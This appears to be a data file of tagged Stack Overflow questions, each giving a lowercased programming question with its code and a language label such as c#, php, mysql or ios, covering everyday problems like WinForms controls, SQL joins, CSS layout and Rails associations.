    &lt;div class= scroll &gt;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&lt;/div&gt;
 
   &lt;/div&gt;
   
 
 
  &lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
composite winform control in c#  composite control    <a href= http://www.freeimagehosting.net/uploads/a51136603b.png  rel= nofollow noreferrer >image http://www.freeimagehosting.net/uploads/a51136603b.png</a>    howdy     i am hoping for some help.  i wanted to create a composite control  shown in the screenshot above.  as seen in the screen shot  the parent control is label 1; it contains child controls label2  label3  and label4  and a picturebox containing a pre-defined image.    i would like to turn the above into a composite control  in c#  with the following specifications :    the parent label  label1  should generate a click event.  child controls label2  label3  and label4 are to be assigned tooltips on mousemove event  while the last child control  picturebox  should have both tooltips on mousemove event and click event.    likewise  the locations of label2  label3  label4  and picturebox within the parent label1 control must be set as properties  as are their texts and sizes.    how do i go about incorporating all these into one composite control named ailmentlabel    any advise or information is greatly appreciated.  thank you so much.,c#
how to get the sum of all label in a repeater   i want to get the sum of all lblausd inside the repeater but don t know how to get it. please help :) thanks in advance.    is there any code that is which i can calculate the sum from repeater  i have mine in gridview but don t know how to do it in a repeater.   <pre><code>gridview - this is the code behind from my gridview   dim sum as integer = 0     for i as integer = 0 to grvoperationalcost.rows.count - 1         sum += convert.todecimal(grvoperationalcost.rows(i).cells(2).text)     next     lbltotalcosts.text = sum.tostring()  repeater - this is the item template in my repeater  &lt;asp:repeater id= reptrdata  runat= server  &gt;      &lt;itemtemplate&gt;          &lt;div&gt;            &lt;h6&gt;product details&lt;/h6&gt;               &lt;table style= width:100% &gt;                      &lt;tr&gt;                          &lt;td&gt;&lt;/td&gt;                          &lt;td style= text-align :right &gt;  &lt;asp:button id= bttnviewplattdetails  commandname = viewplatts  runat = server  text= view platts   /&gt; &amp;nbsp;&lt;asp:button id= bttnremove  runat = server  text= remove  commandname = remove  /&gt;                          &lt;/td&gt;                      &lt;/tr&gt;                  &lt;/table&gt;              &lt;asp:panel id= panelheader  runat= server  cssclass= ui-widget-header &gt;                   &lt;table&gt;                      &lt;tr&gt;                          &lt;td&gt;&lt;b&gt;product:&lt;/b&gt;&lt;/td&gt;                           &lt;td&gt;&lt;asp:label id= lblproduct  runat = server &gt;&lt;%#eval( plcode )%&gt;&lt;/asp:label&gt;&lt;asp:label id= lblaproduct  runat = server   text= &lt;%#eval( phidecode )%&gt;  visible= false  &gt;&lt;/asp:label&gt;                           &lt;/td&gt;                         &lt;/tr&gt;                      &lt;tr&gt;                          &lt;td&gt;&lt;b&gt;date:&lt;/b&gt;&lt;/td&gt;                          &lt;td&gt;&lt;asp:label id= lbldate  runat = server &gt;&lt;%#eval( pldate )%&gt;&lt;/asp:label&gt;&lt;asp:label id= lbldate1  runat = server  cssclass= frmdate  visible= false  text= &lt;%#eval( phidedate2 )%&gt; &gt;&lt;/asp:label&gt; &lt;asp:label id= lbldate2  runat = server  cssclass= frmdate  visible= false  text= &lt;%#eval( phidedate2 )%&gt;  &gt;&lt;/asp:label&gt;                          &lt;/td&gt;                      &lt;/tr&gt;                     &lt;tr&gt;                         &lt;td&gt;&lt;b&gt;average:&lt;/b&gt;&lt;/td&gt;                         &lt;td&gt;&lt;asp:label id= lblaverage  runat = server &gt;&lt;%#eval( plaverage )%&gt;&lt;/asp:label&gt;&lt;/td&gt;                     &lt;/tr&gt;                      &lt;tr&gt;                          &lt;td&gt;&lt;b&gt;net purchase price:&lt;/b&gt;&lt;/td&gt;                          &lt;td&gt;&lt;asp:label id= lblnetpurprice  runat = server &gt;&lt;%#eval( plpurprice )%&gt;&lt;/asp:label&gt;&lt;/td&gt;                      &lt;/tr&gt;                  &lt;/table&gt;                    &lt;table style= width:100% &gt;                      &lt;tr&gt;                          &lt;td&gt;&lt;/td&gt;                          &lt;td style = text-align:right  &gt;&lt;b&gt;usd:&lt;/b&gt; &amp;nbsp; &lt;asp:label id= lblausd  runat = server  dataformatstring= {0:# ###0.000}  text= &lt;%#eval( plusd )%&gt; &gt;&lt;/asp:label&gt; &amp;nbsp; &lt;b&gt;aed:&lt;/b&gt;  &amp;nbsp; &lt;asp:label id= lblaaed  runat = server  dataformatstring= {0:# ###0.000} &gt;&lt;%#eval( plaed )%&gt;&lt;/asp:label&gt;&lt;/td&gt;                      &lt;/tr&gt;                  &lt;/table&gt;             &lt;/asp:panel&gt;                  &lt;asp:gridview id= grvplatts  runat = server &gt;&lt;/asp:gridview&gt;               &lt;hr /&gt;                                 &lt;/itemtemplate&gt;  </code></pre>,asp.net
why java created strings as immutable class  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/93091/why-cant-strings-be-mutable-in-java-and-net >why can&#39;t strings be mutable in java and .net </a><br>   <a href= https://stackoverflow.com/questions/3407403/whats-the-advantage-of-a-string-be-immutable >what&#39;s the advantage of a string be immutable </a>    </blockquote>     can any one please tell me why string class has been created as immutable class  any valid reason behind this design approach     please share your thoughts,java
create a php search page  i am trying to create a page that will search other pages! all is working except a detail! here is part of the code:   <pre><code>$a = file_get_contents( a.html ); $b = explode(      $a); $phpsearch = $_post[ htmlsearch ]; if ($phpsearch != null) {    foreach ($a as $key) {        if ($phpsearch == $key) {             echo  &lt;b&gt;search for   . $phpsearch .   - &lt;a href=\ abc.html\  target=\ _blank\ &gt;aaa&lt;/a&gt;&lt;/b&gt;&lt;br&gt; ;             break;       }    } } </code></pre>   search shows nothing if there is a comma or a dot  next to the word!    i have tried this on line 5 -> if ($phpsearch == $key .    ) it is not working! can i merge variable $key with a symbol or exclude symbols from variable $a  thanks in advance!,php
iphone:how to create thread running in the background always   i want to initiate a separate thread apart from main thread and do some operations continuously even when my app is closed. i tried <code>detachnewthreadselector</code>  but it doesn t work continuously and that too it needs my app to be launched.     and whenever i don t need it  i want to stop the thread as well. it is possible in android  don t know how to do in ios. how can i achieve it  could someone guide me on this  i am developing on ios 4.3 sdk.,iphone
parse error expected identifier or  (   forgive the beginner question  but i copied and pasted from the apple developer site  changed the names  and it gives me a parse error. here is my code:   <pre><code>- (ibaction)unwindtolist:(uistoryboardsegue *)segue {     addgameviewcontroller *source = [segue sourceviewcontroller]     gametem *item = source.gameitem     if (item != nil) {         [self.gameitems addobject:item];         [self.tableview reloaddata];     } } </code></pre>   what am i doing wrong  when i add a semicolon after segue like it asks me to  i get that parse error.,ios
python: pad floating point number with zeroes  how to pad with zeroes double numbers up to specified length    <pre><code>printf  {:.3} .format(0.12) # doesn t pad </code></pre>   i want to get   <pre><code>0.120 </code></pre>,python
conflicting types for  main  in leetcode platform <pre><code> #include&lt;stdio.h&gt;  #include&lt;stdlib.h&gt; int* twosum(int* nums  int numssize  int target) {     int *a=(int *)malloc(2*sizeof(int));     int i j;     for(i=0;i&lt;numssize;i++)          for(j=i+1;j&lt;numssize;j++)     if(nums[i]+nums[j]==target)     {a[0]=i;a[1]=j;}     return a; } void main(){     int target i;     int numssize;     int b[2];     int num[10];     int *s;     s=b;     printf( please input numssize );     scanf( %d  &amp;numssize);     for(i=0;i&lt;numssize;i++)     scanf( %d  &amp;num[i]);     printf( please input target );     scanf( %d  &amp;target);      s=twosum(num numssize target);     printf( 【%d %d】  s[0] s[1]); } </code></pre>   <strong><em>what s wrong with my code </em></strong> <em>i could run it smoothly on visual basic c++ but on the platform it implies that line 58: conflicting types for  main  i don t know what happened.</em>,c
how to switch users on mysql  what is the windows command  to switch to users on mysql  im having a little problem in using mysql on windows. i know how to create a new user and giving grants to the new user and all. but i don t know how to switch to new user from mysql console!,mysql
error nomethoderror (undefined method `+  for activerecord::associations::belongstoassociation:0xb6c9b45c)  i m using rails 2.3.11. i have 2 tables customers and posts:   <pre><code># table name: customers #  id                 :integer(4)      not null  primary key #  name               ::string(255)     default( anonymous ) ...  class customer &lt; activerecord::base   has_many :posts ...  # table name: posts #  id                   :integer(4)      not null  primary key #  customer_id          :integer(4) ...  class post &lt; activerecord::base   belongs_to :customer ... </code></pre>   in my posts_controller  i wanted to return the xml response for a get call  with corresponding post and customer details.    <pre><code>@customer = customer details @posting = corresponding post </code></pre>   following line throws the error <code>nomethoderror (undefined method  +  for activerecord::associations::belongstoassociation:0xb6c9b45c)</code>:   <pre><code>respond_to do |format|   format.xml  { render :xml =&gt; (@customer + @posting)} </code></pre>   this looks to be a very trivial issue and i m missing some basics here. can some one help me understand this error.,ruby-on-rails
varchar used inside in clause fails  i have a stored procedure:   <pre> create definer=`root`@`localhost` procedure `spsetextracted`(in `reportdataidlist` varchar(1124))     language sql     not deterministic     contains sql     sql security definer     comment    begin     update         reportdata     set         extracted=1     where         reportdataid in ( reportdataidlist )     ; end </pre>   that is failing with this error:   <pre><code>truncated incorrect double value:  1387182 1387162 1387287 1387427 1387212 1387252 1387257  </code></pre>   as you can see  the list of ids above is a varchar coming in  and i am expecting to set the extracted flag for each of those ids.    is there something further i need to do with the reportdataidlist     here is the table definition: create table <code>reportdata</code> (     <code>reportdataid</code> bigint(20) not null auto_increment      <code>reportfieldid</code> int(11) not null      <code>companyid</code> int(11) not null      <code>datadate</code> date not null      <code>reportdataitem</code> varchar(50) not null      <code>extracted</code> tinyint(1) not null default  0       primary key (<code>reportdataid</code>)      index <code>fk_reportdata_reportfield</code> (<code>reportfieldid</code>)      index <code>fk_reportdata_symbol</code> (<code>companyid</code>)      constraint <code>fk_reportdata_reportfield</code> foreign key (<code>reportfieldid</code>) references <code>reportfield</code> (<code>reportfieldid</code>) on update no action on delete no action ) collate= utf8_general_ci,mysql
mysql join and group by  i am having trouble getting the syntax right with a table join in mysql. i have two tables as below...   <pre><code>primary_table  agent_id | primary_area | key -----------------------------    10    |xx1           | 1      11    |xx2           | 2      12    |xx3           | 3   etc...   secondary_table  agent_id | sec_area     | key -----------------------------    34    |xx1           | 5      37    |xx1           | 6      38    |xx7           | 8   etc... </code></pre>   all i am trying to do is search (for example) both tables for the <code>agent_id</code> that has xx1 as a value in both the <code>primary_area</code> and  sec_area . i need to use <code>like</code> as this is a search function and it is possible that a user would want to search for all that have the vale <code>xx</code>.    the returned data then needs to be grouped by <code>agent_id</code> and kept in an array.,mysql
downloading issue in php .. return invalid file  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/12542203/try-to-download-file-and-getting-invalid-file-in-response-in-core-php >try to download file and getting invalid file in response in core php</a>    </blockquote>    <pre><code>$filename=gallery/downloads/poster/large/h.jpg   </code></pre>   path to download file is correct but don t know why it give invalid file in return ...     <pre><code> $filename = $_get[ filename ];   $buffer = file_get_contents($filename);      /* force download dialog... */     header( content-type: application/force-download );     header( content-type: application/octet-stream );     header( content-type: application/download );     header( content-type: image/jpeg );      /* don t allow caching... */     header( cache-control: must-revalidate  post-check=0  pre-check=0 );      /* set data type  size and filename */     header( content-type: application/octet-stream );     header( content-transfer-encoding: binary );     header( content-length:   . strlen($buffer));     header( content-disposition: attachment; filename=$filename );      /* send our file... */    echo $buffer; </code></pre>   if u have a better way then please share .... thanks in advance .,php
how to use interface as a field  <pre><code>namespace testoop {     using system;     using system.collections.generic;     using system.linq;      internal sealed class student     {         private string name;     }      internal sealed class course     {         private icollection&lt;student&gt; students;          public icollection&lt;student&gt; students         {             get { return this.students; }             set { this.students = students; }         }     }      class program     {         static void main()         {             var course = new course();             course.students.add(new student());             console.writeline(course.students.count());         }     } } </code></pre>   thats my code. when running it i get object not set to an instance of an object at the line where i try to add student to a course. i need help explaining how to use interfaces as fields.,c#
share a variable across controllers  i have service methods    <pre><code> var selectedtype = 0;  .........  .........  return {             updatetype: function (type) {                 return selectedtype = type;             }               gettype: function () {                 return selectedtype;             }         } </code></pre>   i want to share this selectedtype variable across 2 controllers. so calling the updatetype method from one controller and opening a new popup page where i am calling the gettype method.    issue is  the gettype method always returning 0 in popup page  but the value assigned from main page is 2 (by calling updatetype method).    main page    <pre><code>angular.module( controller1module   []) .controller( mycontroller1   [ $scope    myservice    function ($scope  myservice) {   myservice.updatetype(1);  $scope.$watch(myservice.gettype   function(newvalue  oldvalue){                             $scope.selectedtype = myservice.gettype();                         }); } </code></pre>   popup controller    <pre><code>angular.module( controller2module   []) .controller( mycontroller   [ $scope    myservice    function ($scope  myservice) {     $scope.$watch(myservice.gettype   function(newvalue  oldvalue){                             $scope.selectedtype = myservice.gettype();                         }); } </code></pre>   my service    <pre><code>angular.module( servicemodule   [])  .service( myservice   [ $rootscope     function($rootscope){      var selectedtype = 0;         return {                updatetype: function (type) {                 return selectedtype = type;             }               gettype: function () {                 return selectedtype;             }     ]); </code></pre>,angularjs
how to add texts on creation of text file using c# windows application   i have created a c# windows application project.. here i need to add  some texts in a new text file and i should create that file on button click.. so when i click the button  i should create a text file and that should have the texts which i have given using the controls.. but my problem is when i click the button  it create new file and when writing the texts in file  it has faced some problem that   <strong>the process cannot access the file  d:\mywork\demoepub\98989.txt  because it is being used by another process.</strong>   i have given the code below.. please help me to free from this error   <pre><code>        private void create_click(object sender  eventargs e)         {              filestream fs = null;             string fileloc = @ d:\mywork\demoepub\  + textbox1.text +  .txt ;             if (!file.exists(fileloc))             {                 using (fs = file.create(fileloc))                 {                     if (file.exists(fileloc))                     {                         using (streamwriter sw = new streamwriter(fileloc))                         {                             try                             {                                 sw.write( &lt;start&gt;\n&lt;title&gt;  + textbox1.text +  &lt;/title&gt;\n&lt;body&gt;\n&lt;p&gt;page   + textbox2.text +  &lt;/p&gt;\n&lt;p&gt;\n  + richtextbox1.text +  &lt;/p&gt;\n&lt;/body&gt;\n&lt;end&gt; );                             }                             catch(system.io.ioexception exp)                             {                                 sw.close();                             }                         }                     }                 }             }         } </code></pre>,c#
why fails to assign value to attribute in controller   i m doing the last exercise in chap 13 of the book  agile web development with rails .    previously there was a model named  order  and i created a migration to add a column named  ship_date :   <pre><code>add_column :orders  :ship_date  :datetime </code></pre>   then i added a line in  create  action in the orders_controller before respond_to like this:   <pre><code>@order.ship_date = time.now.to_date </code></pre>   then i modified the test file like this:   <pre><code>ship_date_expected = time.now.to_date  ### new line post_via_redirect  /orders                     order: { name:      dave thomas                              address:   123 the street                              email:     dave@example.com                              pay_type:  check                              ship_date: time.now.to_date } ### new line ### some existing lines assert_equal ship_date_expected  order.ship_date  ### new line </code></pre>   then i run the integration test but get failures like this:   <pre><code>test_buying_a_product(userstoriestest)[h:/sites/rails_projects/depot/test/integration/user_stories_test.rb:56]:&lt;tue  22 jan 2013&gt; expected but was &lt;nil&gt;. </code></pre>   i checked the database and was sure the new column exists. so i guessed the problem is about the assignment. this should be a dumb problem ... but i don t know how to fix it. could anyone help me     thx!!!    the create action:   <pre><code>def create   @order = order.new(params[:order])   @order.add_line_items_from_cart(current_cart)   @order.ship_date = time.now.to_date    respond_to do |format|     if @order.save       cart.destroy(session[:cart_id])       session[:cart_id] = nil       ordernotifier.received(@order).deliver       format.html { redirect_to store_url  notice: i18n.t( .thanks ) }       format.json { render json: @order  status: :created  location: @order }     else       @cart = current_cart       format.html { render action:  new  }       format.json { render json: @order.errors  status: :unprocessable_entity }     end   end end </code></pre>,ruby-on-rails
making div contained in container div  what <code>css</code> properties makes <code>a</code> <code>b</code> <code>div</code> contained by the container      <a href= http://jsfiddle.net/01d244jm/  rel= nofollow >http://jsfiddle.net/01d244jm/</a>   <pre><code>div {  border: 1px solid green;     }  #container {  position: fixed;     width: 100%; }  .a  .b {     top: 10px;     position: absolute; } &lt;div id= container &gt;     &lt;div class= a &gt;abc&lt;/div&gt;     &lt;div class= b &gt;efg&lt;/div&gt; &lt;/div&gt; </code></pre>   <strong>update</strong>    position: fixed  and position: absolute are legacy part  and i think they are logical : i want to put a  b into fixed container relatively. why should i change absolute to relative      it can not be solved without changing a b position to relative   why   and why i need to change the container height   a b are in container,css
using editor in textarea rails  at this time i m using this editor <a href= http://cksource.com/ckeditor  rel= nofollow >http://cksource.com/ckeditor</a> the thing is when i access in the new form the textarea doesn t work but if i update the new form in the browser it works ok    my partial is like that   <pre><code>&lt;%= simple_form_for [@version  @documento]  :html =&gt; { :class =&gt;  form-horizontal  } do |f| %&gt;  &lt;table width= 100% &gt;     &lt;tr&gt;         &lt;th&gt;nombre&lt;/th&gt;         &lt;td&gt;&lt;%= f.input :name                   :label      =&gt; false                  :input_html =&gt; {:style =&gt;  width: 380px; } %&gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;th&gt;tipo de documento&lt;/th&gt;         &lt;td&gt;             &lt;%= f.association :tipo                  :label      =&gt; false                  :required   =&gt; true                  :input_html =&gt; {:class =&gt;  span2 }             %&gt;             &lt;%= link_to  nuevo  new_tipo_path  :remote =&gt; true %&gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;th&gt;descripcion&lt;/th&gt;         &lt;td&gt;&lt;%= f.input :descripcion                   :label      =&gt; false                   :input_html =&gt; {:class =&gt;  ckeditor   :id =&gt;  descripcion } %&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt;  &lt;div class= form-actions &gt;     &lt;%= f.button :submit  :class =&gt;  btn btn-primary   :value =&gt;  guardar documento  %&gt;     &lt;%= link_to  cancelar   version_documentos_path(@version)  :class =&gt;  btn  %&gt; &lt;/div&gt; </code></pre>     what could i do to fix this problem      thanks a lot,ruby-on-rails
how to create zoom animation effect for custom view  currently  i have a custom view which represents a pie chart.   <pre><code>public class piechart extends view {     @override     protected void ondraw(canvas canvas) { </code></pre>   with the following layout   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      ... &gt;      &lt;org.yccheok.jstock.gui.charting.piechart </code></pre>   it looks like this (the custom pie chart view is the top half view  which its width is fill_parent  and its height is 50% of parent)    <img src= https://i.stack.imgur.com/lwbgb.png  alt= enter image description here >    when the activity being launched  i m looking forward to have a pie chart zoom animation similar to this    <a href= http://www.youtube.com/watch v=uwgosswczhq  rel= nofollow noreferrer >http://www.youtube.com/watch v=uwgosswczhq</a>    i had read <a href= http://stuff.mit.edu/afs/sipb/project/android/docs/training/animation/zoom.html  rel= nofollow noreferrer >http://stuff.mit.edu/afs/sipb/project/android/docs/training/animation/zoom.html</a>. the example is using 2 images (one is scale down version  another is scaled up version) to achieve such effect.    <em>i m not exactly sure how can i apply them in my case  do i need to construct 2 version pie charts as well  (one is scale down version  another is normal size version)</em>,android
add a  completed  status to lessons from a course subscription with ruby on rails  i have a project for online classes  where users can subscribe to a course  for example:   <ol> <li>i have models for <code>courses (name  description)</code>  <code>lessons (courseid  title  video)</code> and <code>subscriptions (courseid  userid)</code></li> <li>courses model has <code>has_many: lessons | has_many: subscriptions | has_many: users  through: :subscriptions</code></li> <li>lessons model have <code>belongs_to: course</code></li> <li>subscription model has <code>belongs_to: course | belongs_to: user</code></li> </ol>   what i need is when the current user (has subscriptions to a course) clicks on a  complete &amp; continue  button after he/she watch the lesson  add a status where the current lesson get updated to  completed  and keep track of that for every user subscribed to the course.    any thoughts,ruby-on-rails
is there a list of what css styles cascade  css float does not cascade  in the following example  the child divs <code>one</code> and <code>two</code> have the <code>font-style</code> of the parent but do not have the <code>float</code> style.  is there a list of which styles should cascade and which will not     <a href= http://jsfiddle.net/yt8kr/  rel= nofollow >link to jsfiddle demo</a>   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;   &lt;style type= text/css &gt;     body &gt; div {       float: left;        /* not inherited by child div */       font-style: italic; /* is inherited by child div */     }     body &gt; div &gt; div {       /*float: left;*/  /* uncommenting this have let the child div have the correct style */     }   &lt;/style&gt; &lt;/head&gt; &lt;body&gt;   &lt;div&gt;     parent     &lt;div&gt;       one     &lt;/div&gt;     &lt;div&gt;       two     &lt;/div&gt;   &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
reason for using object name or empty object  while reading through some javascript library i noticed the following syntax in all object definitions.   <pre><code>var foobar = (function(self) {     self.init = function() {         console.log( init called );     };      return self;  }(foobar || {})); </code></pre>   my question is what s the reason for calling the defining function with <code>foobar || {})</code> both foobar which is obviously not initialized at the time of calling. so it evaluates to an empty object.    my hunch is this is done so that if <code>foobar</code> was defined some where prior to the script then it will modify the existing <code>foobar</code>     am i correct on my assumption,javascript
how to stop a statement in python   i am newly converting to python and want to know how to stop or pause in a script for diagnostic purposes. for instance  i want to do something like:   <pre><code>if condition_is_true:      statement  else:      print( condition not met! )      stop  </code></pre>   i guess i can use the <code>try: except:</code> statement  but the condition won t raise an exception; or i can use a <code>while</code> statement  but it won t stop.    i knew i could also use the debugger (<code>import pdb; pdb.set_trace()</code>)  but i don t want to keep the debugger in the code permanently. is there a better way to do this,python
changing the system header path and custom header files <pre><code>gcc 4.4.5 c89 </code></pre>   i recently downloaded and installed log4c on my development machine. i put all the headers and includes in the following directories.    <pre><code>project_name/tools/log4c/inc project_name/tools/log4c/libs </code></pre>   however  as i installed the headers where in the system path:   <pre><code>/usr/include/log4c/*.h </code></pre>   so in my project  when i was including layout.h. layout.h would include the following header in this system path.   <pre><code>#include &lt;log4c/logging_event.h&gt; </code></pre>   i created the same directory structure on the target machine as i did for my development for <code>tools/inc</code> and <code>tools/lib</code>.    however  it wouldn t compile because i hadn t installed the log4c on the target machine so the system path for log4c didn t exist. however  the user of the target machine will not be expected to install log4c. everything should work out of the box.    so what i think is a good idea is to edit all the headers. from this:   <pre><code>#include &lt;log4c/logging_event.h&gt; </code></pre>   to   <pre><code>#include  logging_event.h  </code></pre>   all the headers are in the inc directory  so i won t be using the system path.    my question is this a good idea to put all the headers into a single directory and edit them to point to this single inc directory     many thanks for any advice,c
methods like applicationdidenterbackground not working  i ve searched stackoverflow and google but nothing helped me so far. why is the following code not working for me  notting appears in the console. the nslog in viewdidload does appear in the console...    in viewcontroller.m   <pre><code>- (void)applicationdidenterbackground:(uiapplication *)application {     nslog(@ applicationdidenterbackground ); } </code></pre>   the project is veru straight forward  one storyboard  one viewcontroller  ipad only.,objective-c
preventing direct url access to rails controller methods  i have a particular rails controller method that returns some json when i do an javascript ajax request in the front-end.    however  i want to prevent users from directly typing in the url  which displays the json that the method returns. i also want to still be able to perform my ajax requests. how can i go about doing this simply  thanks!!,ruby-on-rails
serversocket java sending msg to a set destination  i have question regarding serversocket in java which is...lets say i have a structure like this   <pre><code>server ---------- client 1        ---------- client 2 </code></pre>   client 1 send to server and i wanted the server to send back what client 1 send to client 2...is it possible for the server to send msg with a set destination  i tried and it seems like server sends back the msg to client 1 back instead of client 2...   <pre><code>    public void run(){     try{         startgui();          // initial bufferedreader and printwriter object by binding it with socket         bufferedreader in = new bufferedreader(new inputstreamreader(getsocket().getinputstream()));            while(true){             string readmsg = in.readline();             if(readmsg.startswith( global )){                 sendmsg(readmsg);             }             writetomsg(readmsg);         }      } catch (ioexception e){         writetomsg( error in closing socket );     }     writetoconnection( connection from client # +getnumclient()+  is closed ); </code></pre>   on the top code is my server code that read the inputstream and detect the msg with the word global...is actually from client 1 but then i have no idea in sending it to client 2...   <pre><code>   public void sendmsg(string msg  socket sock){     try{     out = new printwriter(sock.getoutputstream()  true);        out.println(msg+ \n );     } catch (ioexception e){         e.printstacktrace();     } } </code></pre>   my code for sending msg...,java
adding a back ground image to list menu using css  i ve been doing a site for tafe and i ve gone over different ways to do this and none of them have worked so far. i am trying to add a button image to a list menu using div id but it just seems not to be working. <a href= http://www.156.onl.checit.info/  rel= nofollow >this demo page</a> is a online version of my page  image menu is suppose to be on the left hand side with the text over it.    i am trying to put a image in a unordered list as a background image and it doesn t appear to be working.  i am trying to put it in this part of the css at the very ened   <pre><code>#navcontainer ul {     padding: 0px;     margin-left: 0px;     list-style-type: none;     width: 200px;     display: block;     line-height: 34px;     background-image: url(images/pg_menu_bg.png); } </code></pre>   here is my html and my css:   <pre><code>&lt;body&gt; &lt;div id= wrapper &gt; &lt;div id= header &gt;&lt;/div&gt; &lt;div id= navigation &gt;&lt;ul&gt;&lt;li&gt;&lt;a href= javascript:void(0); &gt;home&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href= javascript:void(0); &gt;news&lt;/a&gt;&lt;/li&gt; &lt;li&gt; &lt;a href= javascript:void(0); &gt;contact&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href= javascript:void(0); &gt;about&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt; &lt;div id= leftcolumn &gt;   &lt;div id= navcontainer &gt;   &lt;ul&gt;     &lt;li&gt;&lt;a href= javascript:void(0); &gt;upcoming events&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= javascript:void(0); &gt;members&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= javascript:void(0); &gt;specials&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= javascript:void(0); &gt;who is snap nature&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt;   &lt;/div&gt; &lt;/div&gt; &lt;div id= content &gt;&lt;/div&gt; &lt;div id= footer &gt;&lt;/div&gt; &lt;/div&gt; &lt;/body&gt; </code></pre>   <strong>css:</strong>   <pre><code>@charset  utf-8 ; * {     background-color: #6ff;     margin: 0px;     padding: 0px; } #wrapper {     background-color: #f90;     width: 960px;     margin-top: 0px;     margin-right: auto;     margin-bottom: 0px;     margin-left: auto; } #header {     background-color: #6f0;     height: 124px;     width: 960px;     margin-top: 0px;     margin-right: auto;     margin-bottom: 0px;     margin-left: auto; } #navigation {     background-color: #f3f;     float: left;     height: 25px;     width: 960px; } #leftcolumn {     background-color: #009;     float: left;     height: 350px;     width: 250px;     margin-top: 0px;     margin-right: auto;     margin-bottom: 0px;     margin-left: auto; } #content {     background-color: #69f;     width: 710px;     float: left;     height: 350px;     margin-top: 0px;     margin-right: auto;     margin-bottom: 0px;     margin-left: auto; } #footer {     background-color: #f00;     clear: both;     height: 25px;     width: 960px;     margin-top: 0px;     margin-right: auto;     margin-bottom: 0px;     margin-left: auto; } #navigation ul {     list-style-type: none;     margin: 0px;     padding: 0px;     width: 960px;     height: 0px; } #navigation li {     float: left;     background-color: #f3f; } #navigation a {     line-height: 25px;     text-decoration: none;     color: #000;     background-color: #f3f;     display: block;     text-align: center;     vertical-align: middle;     width: auto;     padding-right: 10px;     padding-left: 10px;     padding-top: 0px;     padding-bottom: 0px;     height: 25px; }  #navigation a:hover {     color: #999;     text-decoration: none; }  #navcontainer ul {     padding: 0px;     margin-left: 0px;     list-style-type: none;     width: 200px;     display: block;     line-height: 34px;     background-image: url(images/pg_menu_bg.png); } </code></pre>   please help ty jared,css
i want to find the ascii value of this string and the average number of character  i have done up to this   <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt;  int main() {  char str[100]; int i=0;  printf( enter any string:  ); scanf( %s  str);  printf( ascii values of each characters of given string:  ); while(str[i])      printf( %d   str[i++]);   return 0; } </code></pre>   i don t get all the ascii values when i tried to compile it. will you please tell me where is my mistake.,c
how to check whether a directory with a specific name exists in c#   how do i check whether a folder named <code>xyz</code> exist in a given path(recursively) and if it exits then get its full path so that i can copy some files from it  will something like below work or am i missing something    <pre><code>if (directory.exists(path.combine(textbox1.text   xyz )) {     string directorypath = path.getdirectoryname(textbox1.text); } </code></pre>,c#
avoid line break  i want to keep * in same line as question.    div inside first span is generated from code cannot apply any css for that!   <pre><code>&lt;div class= main &gt;   &lt;span class= nobr &gt;&lt;div&gt; where is ur pen  &lt;/div&gt; &lt;span class= ast &gt;*&lt;/span&gt;   &lt;/span&gt; &lt;/div&gt;  .nobr {   border: 1px solid blue;   display: inline;   width: 100%;   float: left; }  .main {   width: 100px;   border: solid 1px #000; }  .ast {   display: inline;   border: 1px solid red; } </code></pre>   <a href= http://jsfiddle.net/bygve/41/  rel= nofollow noreferrer >http://jsfiddle.net/bygve/41/</a>    the inner div(it can contain nested divs) is a dynamically generated code( html from backend-sharepoint list rich text field). i have to add an asterisk after the question.,html
can do it sd a sdc   i have the following code:   <pre><code>publi       his);     return ; } </code></pre>   sad how should i start rewriting my code,ios
how to change the bundle identifier in xcode  i want to publish my app on itunes.when i enter the app name and bundle id it shows an error that app name and app id is already benn used.i searched on it and only solution i got is to change tha app name and bundle id. but the app id should be the same as bundle identifier in our xcode project.so can anyone tell me how to change the bundle identifer in the xcode project.,ios
android: always launch start activity when app is destroyed and recreated  lets say i have two activity  a and b. a - is my splash activity  and it also handles the initialization part. when i launch app  <code>activity a</code> is started or launched and then it gets navigated to <code>activity b</code>. then i press <code>home button</code>  and wait for some time  for app to be destroyed. and i press my app s icon again  and my android (5.0) remebers what activity i stoped using  and launches it (activity b). and app crashes  since initialization was not occured. how to force android to start my activity a in any case     i had also tried <code>android:cleartaskonlaunch= true </code>    i had even tried to <code>finish()</code> activity if it is activity b  but anyway oncreate of fragments are called  and app crashes.    any help will be appreciated. thanks in advance,android
